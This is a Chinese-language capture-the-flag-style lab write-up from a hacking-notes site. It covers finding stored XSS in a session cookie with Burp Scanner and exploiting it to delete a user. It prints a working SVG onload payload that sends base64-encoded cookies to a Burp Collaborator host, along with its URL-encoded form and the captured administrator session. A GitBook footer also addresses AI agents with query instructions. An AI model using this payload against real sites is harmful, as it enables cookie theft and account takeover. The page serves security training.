> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/essential-skills/analyzing-non-standard-data-structures.md).

# 非标准数据结构分析

### 扫描非标准数据结构

**实验背景**

此实验包含一个难以手动识别的漏洞，因为它位于一个 **非标准数据结构**。/ 目标是使用 **Burp Scanner**，特别是 **扫描选定的插入点** 功能来检测漏洞，然后手动利用它来 **删除用户 `carlos`**.

提供的标识符：

* **用户**：wiener
* **密码**：peter

**步骤 1 – 身份验证**

使用提供的凭据通过登录页面连接到应用程序。

<figure><img src="/files/ed4fd844dd73bd73b026add42295ba2a223ba00d" alt=""><figcaption></figcaption></figure>

**步骤 2 – 在插入点进行定向扫描**

不执行全局扫描，而是进行高度定向的扫描：

* 拦截一条已认证请求。
* 只有 **会话 Cookie 值** 被选中。

<figure><img src="/files/e40d0d98e0bc77432086d2b7e7698215bf75e5d5" alt=""><figcaption></figcaption></figure>

* 我们启动 **Burp Scanner → 扫描选定的插入点** 针对此特定元素。

这种极简扫描可以分析一个很少被手动测试的区域：Cookie 的内部结构。

<figure><img src="/files/9dc347794b6047e16f6c29518afcdab936fe93c9" alt=""><figcaption></figcaption></figure>

**步骤 3 – 漏洞检测**

Burp Scanner 识别出一种类型的漏洞：

* **存储型跨站脚本攻击（XSS）**

检测到的有效载荷被直接注入到会话 Cookie 中。

<figure><img src="/files/80216fc244ae385d936c3a295801dd0ed7ab069f" alt=""><figcaption></figcaption></figure>

检测到的初始有效载荷示例：

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**步骤 4 – 通过 Burp Collaborator 外带 Cookie**

我们调整有效载荷以提取 `document.cookie` 内容到我们的 Collaborator 服务器，并以 Base64 编码：

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

然后我们 **进行 URL 编码** 在注入之前对有效载荷进行：

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="/files/8430b706045c6f9e26150d2127266bf3b44e1baa" alt=""><figcaption></figcaption></figure>

**步骤 5 – 管理员 Cookie 的恢复与解码**

Collaborator 服务器接收到一个包含以 Base64 编码的 Cookie 的请求：

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

解码后，我们得到：

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="/files/d6f5d3bc182c7af88aae98fb473673aa656c314f" alt=""><figcaption></figcaption></figure>

**步骤 6 – 管理员访问和最终操作**

使用管理员会话 Cookie：

* 界面 **admin** 被访问。
* 一个内部页面 **日志** 可访问。
* 此页面未经过滤地显示 Cookie，这解释了 **存储型 XSS**.
* 然后就可以删除用户 **carlos** 并完成实验。

<figure><img src="/files/5c2914aa97dec5b199b453075de04e77f359ce20" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
